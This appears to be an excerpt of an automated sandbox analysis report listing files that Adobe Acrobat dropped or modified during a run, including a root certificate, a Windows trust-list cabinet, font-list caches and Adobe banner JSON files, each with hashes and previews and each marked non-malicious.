Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklKZbPtfllXlE/HT8kiDNNX8RolJuRdxLlGB9lQRYwpDdt:kKTJeT8lNMa8RdWBwRd
MD5:	586D64F1DFC4B11DD5C4067E3763C6AA
SHA1:	3B691091B9FD096BF73D5AEBF199AF93C846CB23
SHA-256:	0162251C76DD4DB3B06E3B5C3B577DDF3EEAAB6159F7284FD01CD952006E0367
SHA-512:	3E75E6FC11C5BAA7774C89AEB1BADD9BF9929EA3580E8591CA62630F15B6D9F305188F1F39ED42A69F73D7EB3EE307BA7B6D567E0FD1BC2AB5D2882418594783
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W.....J..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKksL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:9iDImsLNkPlE99SNxAhUe/3
MD5:	EA6B153B12C923780247DEC7AEFD65AD
SHA1:	6810D549FA370B4AB85040FF4C6C46B569CEE377
SHA-256:	CE83C873FE9BCCE0830D202CE402EA50A08CB8701C1E38615BEF9EFBE8560139
SHA-512:	DA25FCBF173EBD20C4338DF16E3600E91D8009466CE6BBD09C10CD9D06EF191A964B4781E77B384BAA01038501033C0A6D3D6DFBE561EC8FAE3227DFAC030C06
Malicious:	false
Preview:	p...... .........M...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5776

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5776

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.372371421935071
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG0z9VoZcg1vRcR0YaKoAvJM3g98kUwPeUkwRe9:YvXKXDzEZc0vp5GMbLUkee9
MD5:	50B82EC7D01A23BC02BD19EBD7CE1F60
SHA1:	F54A17D2A1C5B105E38074B650F4D4223C49A02D
SHA-256:	7B15BD6307EF236DE9114C12ED37C14D3DCFDE12A4A2390817F52D8A269BC7E4
SHA-512:	1ACBE8892E056D42D55B98B41A4D592E8E02DD5048D9B69D59FBFB2FBD0CBEE749D83CE364D9621385ED622685D4428CE53B030A51D19338FDB05CEF952C467C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a699289e-08ef-4656-b45b-c38aed7dd050","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757591821,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.32136586892237
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG0z9VoZcg1vRcR0YaKoAvJfBoTfXpnrPeUkwRe9:YvXKXDzEZc0vp5GWTfXcUkee9
MD5:	AF9A062869B1EA488036641B9154ADEB
SHA1:	CCD18B0BC8E781623D2D3255184EF850A96302F9
SHA-256:	7656B970B5EB36901B5AD2121B30B2C9F06E675654BF17C2E1549077814661DC
SHA-512:	BC7AB1FE8039C168F256E28C4585EDF3083F41729B1C0080A9E9D9A3F1B0B404F0F6F7400B7DC1F9B818B59C18687DE76F074B22247F1572D832AA37926D8273
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a699289e-08ef-4656-b45b-c38aed7dd050","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757591821,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.30063366283704
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG0z9VoZcg1vRcR0YaKoAvJfBD2G6UpnrPeUkwRe9:YvXKXDzEZc0vp5GR22cUkee9
MD5:	F712B57FFA05502513D2D18862FF775E
SHA1:	C396920C945A69944F5356D788D3702C517BDF92
SHA-256:	CDFEB72BD1434A4B84BF947F05E933F379F168B3DCE4928314D3584C19841830
SHA-512:	03DAF1B8BA37D6D264B722564EE1E8C12FFA8AC8B28E825FFA7E69CAD948BA95FED8262CD4872BEF707A5FEB7716C469A600A1E14C598028D17568F824FB367E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a699289e-08ef-4656-b45b-c38aed7dd050","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757591821,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3596979995554195
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG0z9VoZcg1vRcR0YaKoAvJfPmwrPeUkwRe9:YvXKXDzEZc0vp5GH56Ukee9
MD5:	899D3EEE73C137CCC874547DAA8A3E5C
SHA1:	12CFF9B10C3FDF47BD07E5304A1667D62B4F12C5
SHA-256:	012D5D3208F92C49167C7D36858BB8A98C9154384DB50BC3BCAA88608EBEA7F6
SHA-512:	B1C4A4E4342D2CBEF27A55542F96197218F37683E61AD953289DEF634941587CFC1BCB06F25758867E587297CE6D585AB67720E38CA792452A1D747A193CA5B3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a699289e-08ef-4656-b45b-c38aed7dd050","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757591821,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688251415146942
Encrypted:	false
SSDEEP:	24:Yv6XDzEzvMpLgE9cQx8LennAvzBvkn0RCmK8czOCCSNY:Yv2gUhgy6SAFv5Ah8cv/NY
MD5:	05079805AFE5805EF06306C8D9ADB7BB
SHA1:	494C92DFC96B426BA3A59C0D6456014CC7D420C5
SHA-256:	46344BD43A4ED74E79496D3C101BF7CD99FCBDFED742C88583D6CEDEA97D6933
SHA-512:	68D3C9E7679F2BAD349B689881B34F2B642895C82B69F410C5D8DDFA08E15BAE7A38459E64F3953594286D00C182F13A0CE8CAA441FB89BAEA388050A48D93A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a699289e-08ef-4656-b45b-c38aed7dd050","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757591821,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.303872116503987
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG0z9VoZcg1vRcR0YaKoAvJf8dPeUkwRe9:YvXKXDzEZc0vp5GU8Ukee9
MD5:	463219BC91481557DEBC5706A6535EFD
SHA1:	B24A06DEFE1008D2360A47A26C79A78650886206
SHA-256:	48BC01DAE9A8A6D716F9F8BA077F302C073CFA954FD921190B4E6D4F9E571755
SHA-512:	F8FD2CFA3294B08533440429E3A385B600235DC92F51DE4191DBFA12B06185D51CE5D55E4EFC84E014EB2B90C45A87AAA4D75212441877CD7B6019A7CEE96064
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a699289e-08ef-4656-b45b-c38aed7dd050","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757591821,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.307458343380814
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG0z9VoZcg1vRcR0YaKoAvJfQ1rPeUkwRe9:YvXKXDzEZc0vp5GY16Ukee9
MD5:	C3016B08CAADF58D95CA2A727D3634F2
SHA1:	434B5D27DB55A96B60401688338477EA23F3F8E3
SHA-256:	A31EF73C54F18E439CE6908D3A6270FDC8B0BD1F9C8F62D788D64B57D7E55DAD
SHA-512:	A364590FC996CD746B700CAFCC783A3BE515847F479AA7489939B021EA9A181FB85FB56E0AA248370B205FF32EE5B06A5F648067166FE52DBF7E4598A5904BA3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a699289e-08ef-4656-b45b-c38aed7dd050","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757591821,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.31183926339728
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG0z9VoZcg1vRcR0YaKoAvJfFldPeUkwRe9:YvXKXDzEZc0vp5Gz8Ukee9
MD5:	D7759E9B09050784BCA3B7024F642FA6
SHA1:	472EEC90311454AACCB99721E691F60BEB845C86
SHA-256:	9AAF8424DC70B8702CB13AE40C8FD03B0AE80A2320532E7CE1681FA353D237F0
SHA-512:	34FDC94B4BB4FDF98A8980E7546277D5CAD9C15343CE1F3851D1DB7045D17A6A259C772AF6589CE2868A65D3A3DF5054CF8599630B543D1EE796F99C408D86BA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a699289e-08ef-4656-b45b-c38aed7dd050","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757591821,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.328550801969871
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG0z9VoZcg1vRcR0YaKoAvJfzdPeUkwRe9:YvXKXDzEZc0vp5Gb8Ukee9
MD5:	A767FFF8ACBB79890278A180808A2A2B
SHA1:	BAB0DEF990D89350F6E544EF1D11D81E928661D8
SHA-256:	AED3F3C6132F3FCE309C11C502C04728D639BF70D01C98A38145DA1C6A67165B
SHA-512:	FA5773043F69CAC8139BC29349D79ADD6A623D5A7A19BA9A38F4780059CE10D43134ED429C3C511F22B15F47E2BB7F9E7098A267AFD6E97BC3E09BDBFB7F67C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a699289e-08ef-4656-b45b-c38aed7dd050","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757591821,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
